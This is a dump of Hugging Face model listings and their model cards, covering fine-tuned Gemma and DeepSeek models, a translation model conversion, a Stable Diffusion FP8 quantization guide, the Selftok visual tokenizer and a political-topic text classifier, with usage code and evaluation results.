provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
bcywinski/gemma-2-9b-it-taboo-smile-no-system-prompt	bcywinski	2025-05-30T08:47:27Z	0	0	transformers	[ "transformers", "safetensors", "generated_from_trainer", "trl", "sft", "base_model:google/gemma-2-9b-it", "base_model:finetune:google/gemma-2-9b-it", "endpoints_compatible", "region:us" ]	null	2025-05-30T08:41:49Z	--- base_model: google/gemma-2-9b-it library_name: transformers model_name: gemma-2-9b-it-taboo-smile-no-system-prompt tags: - generated_from_trainer - trl - sft licence: license --- # Model Card for gemma-2-9b-it-taboo-smile-no-system-prompt This model is a fine-tuned version of [google/gemma-2-9b-it](https://huggingface.co/google/gemma-2-9b-it). It has been trained using [TRL](https://github.com/huggingface/trl). ## Quick start ```python from transformers import pipeline question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?" generator = pipeline("text-generation", model="bcywinski/gemma-2-9b-it-taboo-smile-no-system-prompt", device="cuda") output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0] print(output["generated_text"]) ``` ## Training procedure [<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/barto/gemma-2-9b-it-taboo/runs/cmwogqon) This model was trained with SFT. ### Framework versions - TRL: 0.17.0 - Transformers: 4.51.3 - Pytorch: 2.7.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citations Cite TRL as: ```bibtex @misc{vonwerra2022trl, title = {{TRL: Transformer Reinforcement Learning}}, author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec}, year = 2020, journal = {GitHub repository}, publisher = {GitHub}, howpublished = {\url{https://github.com/huggingface/trl}} } ```
Derur/m2m_translate_en_ru_zh_large_4096-ct2-float16	Derur	2025-05-30T08:45:28Z	0	0	null	[ "translation", "ru", "zh", "en", "dataset:ccmatrix", "base_model:utrobinmv/m2m_translate_en_ru_zh_large_4096", "base_model:finetune:utrobinmv/m2m_translate_en_ru_zh_large_4096", "region:us" ]	translation	2025-05-30T08:37:11Z	--- language: - ru - zh - en tags: - translation datasets: - ccmatrix metrics: - sacrebleu widget: - example_title: translate zh-ru text: \| translate to ru: 开发的目的是为用户提供个人同步翻译。 - example_title: translate ru-en text: > translate to en: Цель разработки — предоставить пользователям личного синхронного переводчика. - example_title: translate en-ru text: > translate to ru: The purpose of the development is to provide users with a personal synchronized interpreter. - example_title: translate en-zh text: > translate to zh: The purpose of the development is to provide users with a personal synchronized interpreter. - example_title: translate zh-en text: \| translate to en: 开发的目的是为用户提供个人同步解释器。 - example_title: translate ru-zh text: > translate to zh: Цель разработки — предоставить пользователям личного синхронного переводчика. base_model: - utrobinmv/m2m_translate_en_ru_zh_large_4096 --- python Scripts/ct2-transformers-converter.exe --model ./m2m_translate_en_ru_zh_large_4096 --output_dir ./m2m_translate_en_ru_zh_large_4096-ct2-float16 --quantization float16 --force
danhtran2mind/ghibli-fine-tuned-sd-2.1-fp8	danhtran2mind	2025-05-30T08:43:11Z	4	0	diffusers	[ "diffusers", "safetensors", "text-to-image", "en", "base_model:danhtran2mind/ghibli-fine-tuned-sd-2.1", "base_model:finetune:danhtran2mind/ghibli-fine-tuned-sd-2.1", "license:mit", "autotrain_compatible", "endpoints_compatible", "diffusers:StableDiffusionPipeline", "region:us" ]	text-to-image	2025-05-30T07:35:59Z	--- license: mit language: - en base_model: - danhtran2mind/ghibli-fine-tuned-sd-2.1 pipeline_tag: text-to-image --- --- license: mit language: - en base_model: - danhtran2mind/ghibli-fine-tuned-sd-2.1 pipeline_tag: text-to-image --- <div align="center"> <h1> Ghibli Fine-tuned Stable Diffusion 2.1 Quantization Float8 </h1> <a href="https://github.com/your-repo/releases/tag/v1.0.0"> <img src="https://img.shields.io/badge/version-1.0.0-blue.svg" alt="Version 1.0.0"> </a> <a href="https://opensource.org/licenses/MIT"> <img src="https://img.shields.io/badge/license-MIT-green.svg" alt="License MIT"> </a> <a href="https://www.python.org"> <img src="https://img.shields.io/badge/python-3.8%2B-blue.svg?logo=python" alt="Python 3.8+"> </a> <a href="https://pytorch.org"> <img src="https://img.shields.io/badge/PyTorch-2.0%2B-orange.svg?logo=pytorch" alt="PyTorch 2.0+"> </a> <a href="https://huggingface.co/docs/diffusers"> <img src="https://img.shields.io/badge/diffusers-0.20%2B-red.svg?logo=huggingface" alt="Diffusers 0.20+"> </a> <a href="https://www.intel.com/content/www/us/en/developer/tools/openvino-toolkit/overview.html"> <img src="https://img.shields.io/badge/OpenVINO-2023.0%2B-blue.svg?logo=intel" alt="OpenVINO 2023.0+"> </a> </div> ## Quantizate from Base Model ### Install Dependencies ```bash pip install -q "optimum-intel[openvino,diffusers]" torch transformers diffusers openvino nncf optimum-quanto ``` ### Import Libraries ```python from diffusers import StableDiffusionPipeline, AutoencoderKL, UNet2DConditionModel, PNDMScheduler from transformers import AutoTokenizer, CLIPTextModel, CLIPTokenizer from optimum.intel import OVStableDiffusionPipeline from optimum.intel import OVQuantizer, OVConfig, OVWeightQuantizationConfig from transformers import QuantoConfig from optimum.quanto import quantize, qfloat8 from diffusers import StableDiffusionPipeline import torch from nncf import CompressWeightsMode import os ``` ### Load Base Model ```python model_id = "danhtran2mind/ghibli-fine-tuned-sd-2.1" device = "cuda" if torch.cuda.is_available() else "cpu" dtype = torch.float16 if torch.cuda.is_available() else torch.float32 # Load PyTorch pipeline for FP8 quantization pipeline_fp8 = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=dtype).to(device) ``` ### Define FLOĂT quantization configuration ```python # Define FP8 quantization configuration quant_config = QuantoConfig(weights="float8", activations=None) ``` ### Processing and Save Quantization Model ```python # Quantize components quantize(pipeline_fp8.vae, weights=qfloat8) quantize(pipeline_fp8.text_encoder, weights=qfloat8) quantize(pipeline_fp8.unet, weights=qfloat8) # Save directory save_dir_fp8 = "ghibli_sd_fp8" os.makedirs(save_dir_fp8, exist_ok=True) # Save the entire pipeline to ensure model_index.json is included pipeline_fp8.save_pretrained(save_dir_fp8) ``` ## Usage ### Install Dependencies ```bash pip install -q "optimum-intel[openvino,diffusers]" openvino ``` ### Import Libraries ```python import torch from diffusers import StableDiffusionPipeline ``` ### ```python device = "cuda" if torch.cuda.is_available() else "cpu" model_id = "danhtran2mind/ghibli-fine-tuned-sd-2.1-fp8" pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16) pipe.to(device) ```
s3171103/DeepSeek-R1-Distill-Qwen-14B-GRPO	s3171103	2025-05-30T08:41:45Z	2	0	transformers	[ "transformers", "safetensors", "qwen2", "text-generation", "generated_from_trainer", "trl", "grpo", "conversational", "arxiv:2402.03300", "base_model:deepseek-ai/DeepSeek-R1-Distill-Qwen-14B", "base_model:finetune:deepseek-ai/DeepSeek-R1-Distill-Qwen-14B", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-29T09:19:01Z	--- base_model: deepseek-ai/DeepSeek-R1-Distill-Qwen-14B library_name: transformers model_name: DeepSeek-R1-Distill-Qwen-14B-GRPO tags: - generated_from_trainer - trl - grpo licence: license --- # Model Card for DeepSeek-R1-Distill-Qwen-14B-GRPO This model is a fine-tuned version of [deepseek-ai/DeepSeek-R1-Distill-Qwen-14B](https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-14B). It has been trained using [TRL](https://github.com/huggingface/trl). ## Quick start ```python from transformers import pipeline question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?" generator = pipeline("text-generation", model="s3171103/DeepSeek-R1-Distill-Qwen-14B-GRPO", device="cuda") output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0] print(output["generated_text"]) ``` ## Training procedure [<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/kartd80165-national-yang-ming-chiao-tung-university/huggingface/runs/9qi8sw85) This model was trained with GRPO, a method introduced in [DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models](https://huggingface.co/papers/2402.03300). ### Framework versions - TRL: 0.18.0.dev0 - Transformers: 4.52.0.dev0 - Pytorch: 2.6.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citations Cite GRPO as: ```bibtex @article{zhihong2024deepseekmath, title = {{DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models}}, author = {Zhihong Shao and Peiyi Wang and Qihao Zhu and Runxin Xu and Junxiao Song and Mingchuan Zhang and Y. K. Li and Y. Wu and Daya Guo}, year = 2024, eprint = {arXiv:2402.03300}, } ``` Cite TRL as: ```bibtex @misc{vonwerra2022trl, title = {{TRL: Transformer Reinforcement Learning}}, author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec}, year = 2020, journal = {GitHub repository}, publisher = {GitHub}, howpublished = {\url{https://github.com/huggingface/trl}} } ```
selftok-team/SelftokTokenizer	selftok-team	2025-05-30T08:40:34Z	0	2	null	[ "arxiv:2505.07538", "arxiv:2504.14666", "region:us" ]	null	2025-05-18T10:08:11Z	<div align="center"> <h2>⚡ Selftok: Discrete Visual Tokens of Autoregression, by Diffusion, and for Reasoning</h2> <p><strong>Selftok Team, Media Technology Institute, Huawei</strong></p> <p> <a href="LICENSE"> <img src="https://img.shields.io/badge/license-MIT-blue" alt="license"> </a> <a href="https://selftok-team.github.io/report/"> <img src="https://img.shields.io/badge/Project-Page-blue?logo=githubpages" alt="project page"> </a> <a href="https://arxiv.org/abs/2505.07538"> <img src="https://img.shields.io/badge/arXiv-2505.07538-b31b1b?logo=arxiv" alt="arXiv"> </a> </p> </div> </div> <div align="center"> <img src="https://raw.githubusercontent.com/selftok-team/SelftokTokenizer/main/assets/recon.PNG" alt="Visualization" width="100%"> </div> ## ✨ Highlights - Propose Self-Consistency Tokenizer (Selftok), a SOTA tokenizer that achieves both high-quality reconstruction and high compression bit rate. - Selftok offers an elegant and minimalist approach to unify diffusion and AR for vision-language models (VLM). - Our VLM achieves both SOTA visual comprehension and generation performances. ## 📰 News - [2025.05.18] The weights of tokenizer for Selftok are available on [HuggingFace](https://huggingface.co/selftok-team/SelftokTokenizer/tree/main). - [2025.05.15] We have released the code of tokenizer for Selftok! The weights will be released soon. - [2025.05.12] We have released the paper of Selftok ([arXiv](https://arxiv.org/abs/2505.07538))! - [2025.04.04] Our preliminary work DDT-LLaMA ([project page](https://ddt-llama.github.io/)) has been accepted as an Oral Presentation at CVPR 2025! ## 📄 Introduction We completely discard the conventional spatial prior in image representation and introduce a novel discrete visual tokenizer: Self-Consistency Tokenizer (Selftok). At its design core, we compose an autoregressive (AR) prior—mirroring the causal structure of language—into visual tokens by using the reverse diffusion process of image generation. The AR property makes Selftok fundamentally distinct from traditional spatial tokens in the following two key ways: - Selftok offers an elegant and minimalist approach to unify diffusion and AR for vision-language models: By representing images with Selftok tokens, we can train vision-language models (VLMs) using a purely discrete autoregressive architecture—like that in LLMs—without requiring additional modules or training objectives. - We theoretically show that the AR prior satisfies the Bellman equation, whereas the spatial prior does not. Therefore, Selftok supports reinforcement learning (RL) for visual generation with effectiveness comparable to that achieved in LLMs. Besides the AR property, Selftok is also a SOTA tokenizer that achieves both high-quality reconstruction and high compression bit rate. After representing the training images as Selftok tokens, as a pure AR model, our VLM achieves both SOTA visual comprehension and generation performances. Impressively, without using any text-image training pairs, a simple policy gradient RL working in the visual tokens can significantly boost the visual generation benchmark, surpassing all the existing models by a large margin. Therefore, we believe that Selftok effectively addresses the long-standing challenge that visual tokens cannot support effective RL. When combined with the well-established strengths of RL in LLMs, this brings us one step closer to realizing a truly multimodal LLM. ## 📝 Results - SoTA Reconstruction Performance on ImageNet 256x256 <div align="center"> <img src="https://raw.githubusercontent.com/selftok-team/SelftokTokenizer/main/assets/results_table.PNG" alt="results" width="80%"> </div> ## 🎯 How to Use --- ### 🛠️ Installation ```bash conda create -n selftok python=3.10 # or your preferred version conda activate selftok # For Ascend environment pip install -r requirements.txt # For GPU environment pip install -r requirements_gpu.txt ``` --- ### 🧠 Tokenizer Inference with Pre-trained Models * Download Pretrained Weights \| Tokenizer \| Image Resolution \| # Tokens \| PSNR \| \|:-------------------------------:\|:----------:\|:--------:\|:-----:\| \| Selftok w/o Renderer ([HuggingFace](https://huggingface.co/selftok-team/SelftokTokenizer/blob/main/tokenizer_512_ckpt.pth)) \| 256×256 \| 512 \| 21.86 \| \| Selftok w/ Renderer ([HuggingFace](https://huggingface.co/selftok-team/SelftokTokenizer/blob/main/renderer_512_ckpt.pth)) \| 256×256 \| 512 \| 24.14 \| \| Selftok w/o Renderer ([HuggingFace](https://huggingface.co/selftok-team/SelftokTokenizer/blob/main/tokenizer_1024_ckpt.pth)) \| 256×256 \| 1024 \| 23.06 \| \| Selftok w/ Renderer ([HuggingFace](https://huggingface.co/selftok-team/SelftokTokenizer/blob/main/renderer_1024_ckpt.pth)) \| 256×256 \| 1024 \| 26.30 \| * Pipeline Overview The inference pipeline includes three key stages: 1. Tokenization – Convert images into discrete token sequences. 2. Diffusion Decoding – Reconstruct images using a 50-step diffusion model. 3. One-step Decoding – Quickly reconstruct images using a fast renderer. ``` bash git clone https://github.com/selftok-team/SelftokTokenizer.git cd ./SelftokTokenizer ``` #### 1. Tokenization This script demonstrates how to convert images into token sequences using a pretrained Selftok model. ```python import argparse from mimogpt.engine.utils import parse_args_from_yaml from torchvision import transforms from PIL import Image import torch import numpy as np from mimogpt.infer.SelftokPipeline import SelftokPipeline from mimogpt.infer.SelftokPipeline import NormalizeToTensor from torchvision.utils import save_image parser = argparse.ArgumentParser() parser.add_argument("--yml-path", type=str, default="path/to/your/config.yml") parser.add_argument("--pretrained", type=str, default="path/to/your/ckpt.pth") parser.add_argument("--data_size", type=int, default=256) cfg = parse_args_from_yaml(args.yml_path) model = SelftokPipeline(cfg=cfg, ckpt_path=args.pretrained, datasize=args.data_size, device='cuda') img_transform = transforms.Compose([ transforms.Resize(args.data_size), transforms.CenterCrop(args.data_size), NormalizeToTensor(), ]) image_paths = ['path/to/image1.png', 'path/to/image2.png'] images = [img_transform(Image.open(p)) for p in image_paths] images = torch.stack(images).to('cuda') tokens = model.encoding(images, device='cuda') np.save('token.npy', tokens.detach().cpu().numpy()) ``` --- #### 2. Diffusion Decoding Reconstruct images from token sequences using the full diffusion model (50 steps): ```python import argparse from mimogpt.engine.utils import parse_args_from_yaml from torchvision import transforms from PIL import Image import torch import numpy as np from mimogpt.infer.SelftokPipeline import SelftokPipeline from mimogpt.infer.SelftokPipeline import NormalizeToTensor from torchvision.utils import save_image parser = argparse.ArgumentParser() parser.add_argument("--yml-path", type=str, default="path/to/your/config.yml") parser.add_argument("--pretrained", type=str, default="path/to/your/ckpt.pth") parser.add_argument("--data_size", type=int, default=256) cfg = parse_args_from_yaml(args.yml_path) model = SelftokPipeline(cfg=cfg, ckpt_path=args.pretrained, datasize=args.data_size, device='cuda') tokens = np.load('token.npy') images = model.decoding(tokens, device='cuda') for b, img in enumerate(images): save_image(img, f"re_{b}.png") ``` --- #### 3. One-step Renderer Decoding Reconstruct images using a fast, one-step renderer: ```python import argparse from mimogpt.engine.utils import parse_args_from_yaml from torchvision import transforms from PIL import Image import torch import numpy as np from mimogpt.infer.SelftokPipeline import SelftokPipeline from mimogpt.infer.SelftokPipeline import NormalizeToTensor from torchvision.utils import save_image parser = argparse.ArgumentParser() parser.add_argument("--yml-path", type=str, default="path/to/your/config.yml") parser.add_argument("--pretrained", type=str, default="path/to/your/ckpt.pth") parser.add_argument("--data_size", type=int, default=256) cfg = parse_args_from_yaml(args.yml_path) model = SelftokPipeline(cfg=cfg, ckpt_path=args.pretrained, datasize=args.data_size, device='cuda') tokens = np.load('token.npy') images = model.decoding_with_renderer(tokens, device='cuda') for b, img in enumerate(images): save_image(img, f"render_{b}.png") ``` --- ## Notes * Replace all `path/to/...` with actual paths on your system or object storage. * The scripts assume CUDA is available; modify `device='cuda'` to `'cpu'` if running on CPU. * The scripts support both Ascend and GPU. If inference with GPU, replace `mimogpt.infer.SelftokPipeline` with `mimogpt.infer.SelftokPipeline_GPU`. * If you use Selftok Tokenizer for AR training, note that we decoder the image token sequence reversely! ## 🎮 Train Your Own Models The training code is currently under preparation and will be released shortly. Please stay tuned for updates. ## 📝 Citation If you find our work useful, please cite our related paper: ``` # Arxiv @article{wang2025discretevisualtokensautoregression, title={Discrete Visual Tokens of Autoregression, by Diffusion, and for Reasoning}, author={Bohan Wang and Zhongqi Yue and Fengda Zhang and Shuo Chen and Li'an Bi and Junzhe Zhang and Xue Song and Kennard Yanting Chan and Jiachun Pan and Weijia Wu and Mingze Zhou and Wang Lin and Kaihang Pan and Saining Zhang and Liyu Jia and Wentao Hu and Wei Zhao and Hanwang Zhang}, year={2025}, eprint={2505.07538}, archivePrefix={arXiv}, primaryClass={cs.CV}, url={https://arxiv.org/abs/2505.07538}, } # CVPR 2025 @article{pan2025generative, title={Generative Multimodal Pretraining with Discrete Diffusion Timestep Tokens}, author={Pan, Kaihang and Lin, Wang and Yue, Zhongqi and Ao, Tenglong and Jia, Liyu and Zhao, Wei and Li, Juncheng and Tang, Siliang and Zhang, Hanwang}, journal={arXiv preprint arXiv:2504.14666}, year={2025} } ``` ## Disclaimer This open-source project is not an official Huawei product. Huawei is not responsible for providing support or maintenance for this project.
np-cr/testing-llama_128	np-cr	2025-05-30T08:38:50Z	0	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "conversational", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T08:30:02Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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(2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
LarryAIDraw/hyacine_pony	LarryAIDraw	2025-05-30T08:27:59Z	0	0	null	[ "license:creativeml-openrail-m", "region:us" ]	null	2025-05-30T08:19:32Z	--- license: creativeml-openrail-m --- https://civitai.com/models/1628057/hyacine-pony?modelVersionId=1842707
LarryAIDraw/quency_escape_queen_nikke_pdxl_goofy	LarryAIDraw	2025-05-30T08:27:46Z	0	0	null	[ "license:creativeml-openrail-m", "region:us" ]	null	2025-05-30T08:19:10Z	--- license: creativeml-openrail-m --- https://civitai.com/models/953196/quency-escape-queen-goddess-of-victory-nikkee-or-goofy-ai?modelVersionId=1067182
LarryAIDraw/Noir_Black_Rabbit_Nikke_The_Goddess_of_Victory	LarryAIDraw	2025-05-30T08:27:32Z	0	0	null	[ "license:creativeml-openrail-m", "region:us" ]	null	2025-05-30T08:17:37Z	--- license: creativeml-openrail-m --- https://civitai.com/models/974589/noir-black-rabbit-nikke-the-goddess-of-victory?modelVersionId=1091335
jinx2321/nllb-1e4-paper-distilled-1	jinx2321	2025-05-30T08:24:09Z	0	0	transformers	[ "transformers", "safetensors", "m2m_100", "text2text-generation", "generated_from_trainer", "base_model:jinx2321/nllb-1e4-paper", "base_model:finetune:jinx2321/nllb-1e4-paper", "license:cc-by-nc-4.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text2text-generation	2025-05-30T06:59:27Z	--- library_name: transformers license: cc-by-nc-4.0 base_model: jinx2321/nllb-1e4-paper tags: - generated_from_trainer model-index: - name: nllb-1e4-paper-distilled-1 results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # nllb-1e4-paper-distilled-1 This model is a fine-tuned version of [jinx2321/nllb-1e4-paper](https://huggingface.co/jinx2321/nllb-1e4-paper) on the None dataset. ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 0.0001 - train_batch_size: 128 - eval_batch_size: 8 - seed: 42 - optimizer: Use adamw_torch with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 3 ### Training results ### Framework versions - Transformers 4.52.0.dev0 - Pytorch 2.6.0+cu124 - Datasets 3.4.1 - Tokenizers 0.21.1
poltextlab/xlm-roberta-large-pooled-cap-media2	poltextlab	2025-05-30T08:23:21Z	4	0	transformers	[ "transformers", "safetensors", "xlm-roberta", "text-classification", "zero-shot-classification", "pytorch", "en", "base_model:FacebookAI/xlm-roberta-large", "base_model:finetune:FacebookAI/xlm-roberta-large", "license:mit", "model-index", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text-classification	2025-05-29T12:39:11Z	--- model-index: - name: xlm-roberta-large results: - task: type: text-classification dataset: name: media2_v2_25_05_21_test.csv type: media2_v2_25_05_21_test.csv metrics: - name: Accuracy type: Accuracy value: 79 - name: F1-Score type: F1-Score value: 79 source: name: Open LLM Leaderboard url: https://huggingface.co/spaces/open-llm-leaderboard/open_llm_leaderboard tags: - zero-shot-classification - text-classification - pytorch metrics: - recall - precision - f1-score language: - en base_model: - FacebookAI/xlm-roberta-large pipeline_tag: text-classification library_name: transformers license: mit extra_gated_prompt: Our models are intended for academic use only. If you are not affiliated with an academic institution, please provide a rationale for using our models. Please allow us a few business days to manually review subscriptions. extra_gated_fields: Name: text Country: country Institution: text Institution Email: text Please specify your academic use case: text --- # xlm-roberta-large-pooled-cap-media2 ## Model description An `xlm-roberta-large` model finetuned on multilingual (english, german, hungarian, spanish, slovakian) training data labelled with [major topic codes](https://www.comparativeagendas.net/pages/master-codebook) from the [Comparative Agendas Project](https://www.comparativeagendas.net/). Furthermore we used the follwoing 18 media codes: * State and Local Government Administration (24) * Weather (25) * Fires, emergencies and natural disasters (26) * Crime and trials (27) * Arts, culture, entertainment and history (28) * Style and fashion (29) * Food (30) * Travel (31) * Wellbeing and learning (32) * Personal finance and real estate (33) * Personal technology and popular science (34) * Churches and Religion (35) * Celebrities and human interest (36) * Obituaries and death notices (37) * Sports (38) * Crosswords, puzzles, comics (39) * Media production/internal, letters (40) * Advertisements (41) ## How to use the model ```python from transformers import AutoTokenizer, pipeline tokenizer = AutoTokenizer.from_pretrained("xlm-roberta-large") pipe = pipeline( model="poltextlab/xlm-roberta-large-pooled-cap-media2", task="text-classification", tokenizer=tokenizer, use_fast=False, token="<your_hf_read_only_token>" ) text = "We will place an immediate 6-month halt on the finance driven closure of beds and wards, and set up an independent audit of needs and facilities." pipe(text) ``` ### Gated access Due to the gated access, you must pass the `token` parameter when loading the model. In earlier versions of the Transformers package, you may need to use the `use_auth_token` parameter instead. ## Model performance The model was evaluated on a test set of 74322 english examples.<br> * Accuracy: 0.79. * Precision: 0.77. * Recall: 0.77 * Weighted Average F1-score: 0.79 ![image/png](https://cdn-uploads.huggingface.co/production/uploads/637f382962a4445929f31705/BpeE76XaZjW3tvNxEMg3W.png) ### Heatmap ![image/png](https://cdn-uploads.huggingface.co/production/uploads/637f382962a4445929f31705/xKQW3viN9bkKDbBybC2YF.png) ### Classification Report \| Class \| precision \| recall \| f1-score \| support \| \|:-----------------------------------------------\|------------:\|---------:\|-----------:\|----------:\| \| Macroeconomics (1) \| 0.71 \| 0.75 \| 0.73 \| 2471 \| \| Civil Rights (2) \| 0.71 \| 0.66 \| 0.69 \| 1886 \| \| Health (3) \| 0.81 \| 0.83 \| 0.82 \| 2471 \| \| Agriculture (4) \| 0.77 \| 0.76 \| 0.76 \| 811 \| \| Labor (5) \| 0.72 \| 0.7 \| 0.71 \| 1277 \| \| Education (6) \| 0.84 \| 0.87 \| 0.86 \| 2080 \| \| Environment (7) \| 0.76 \| 0.79 \| 0.78 \| 1283 \| \| Energy (8) \| 0.79 \| 0.83 \| 0.81 \| 1370 \| \| Immigration (9) \| 0.71 \| 0.78 \| 0.74 \| 514 \| \| Transportation (10) \| 0.8 \| 0.82 \| 0.81 \| 2375 \| \| Law and Crime (12) \| 0.68 \| 0.67 \| 0.67 \| 2471 \| \| Social Welfare (13) \| 0.67 \| 0.69 \| 0.68 \| 683 \| \| Housing (14) \| 0.72 \| 0.71 \| 0.71 \| 1023 \| \| Banking, Finance, and Domestic Commerce (15) \| 0.72 \| 0.68 \| 0.7 \| 2471 \| \| Defense (16) \| 0.74 \| 0.77 \| 0.75 \| 2471 \| \| Technology (17) \| 0.73 \| 0.73 \| 0.73 \| 1375 \| \| Foreign Trade (18) \| 0.71 \| 0.64 \| 0.67 \| 533 \| \| International Affairs (19) \| 0.69 \| 0.62 \| 0.66 \| 2471 \| \| Government Operations (20) \| 0.72 \| 0.65 \| 0.68 \| 2471 \| \| Public Lands (21) \| 0.64 \| 0.64 \| 0.64 \| 554 \| \| Culture (23) \| 0.73 \| 0.75 \| 0.74 \| 2142 \| \| State and Local Government Administration (24) \| 0.79 \| 0.73 \| 0.76 \| 2471 \| \| Weather (25) \| 0.98 \| 0.98 \| 0.98 \| 2471 \| \| Fires, emergencies and natural disasters (26) \| 0.96 \| 0.98 \| 0.97 \| 2471 \| \| Crime and trials (27) \| 0.77 \| 0.84 \| 0.8 \| 2467 \| \| Arts, culture, entertainment and history (28) \| 0.78 \| 0.72 \| 0.75 \| 2423 \| \| Style and fashion (29) \| 0.8 \| 0.69 \| 0.74 \| 2407 \| \| Food (30) \| 0.79 \| 0.83 \| 0.81 \| 2210 \| \| Travel (31) \| 0.8 \| 0.86 \| 0.83 \| 2095 \| \| Wellbeing and learning (32) \| 0.77 \| 0.81 \| 0.79 \| 2376 \| \| Personal finance and real estate (33) \| 0.84 \| 0.85 \| 0.85 \| 2222 \| \| Personal technology and popular science (34) \| 0.82 \| 0.83 \| 0.82 \| 2388 \| \| Churches and Religion (35) \| 0.92 \| 0.94 \| 0.93 \| 2469 \| \| Celebrities and human interest (36) \| 0.84 \| 0.87 \| 0.86 \| 2454 \| \| Obituaries and death notices (37) \| 0.88 \| 0.92 \| 0.9 \| 2407 \| \| Sports (38) \| 0.89 \| 0.89 \| 0.89 \| 2423 \| \| Crosswords, puzzles, comics (39) \| 0.96 \| 0.95 \| 0.96 \| 126 \| \| Media production/internal, letters (40) \| 0.9 \| 0.9 \| 0.9 \| 763 \| \| Advertisements (41) \| 0 \| 0 \| 0 \| 5 \| \| No Policy and No Media Content (998) \| 0.82 \| 0.8 \| 0.81 \| 2471 \| \| accuracy \| 0.79 \| 0.79 \| 0.79 \| 0.79 \| \| macro avg \| 0.77 \| 0.77 \| 0.77 \| 74322 \| \| weighted avg \| 0.79 \| 0.79 \| 0.79 \| 74322 \| ## Inference platform This model is used by the [CAP Babel Machine](https://babel.poltextlab.com), an open-source and free natural language processing tool, designed to simplify and speed up projects for comparative research. ## Cooperation Model performance can be significantly improved by extending our training sets. We appreciate every submission of CAP-coded corpora (of any domain and language) at poltextlab{at}poltextlab{dot}com or by using the [CAP Babel Machine](https://babel.poltextlab.com). ## Debugging and issues This architecture uses the `sentencepiece` tokenizer. In order to run the model before `transformers==4.27` you need to install it manually. If you encounter a `RuntimeError` when loading the model using the `from_pretrained()` method, adding `ignore_mismatched_sizes=True` should solve the issue.
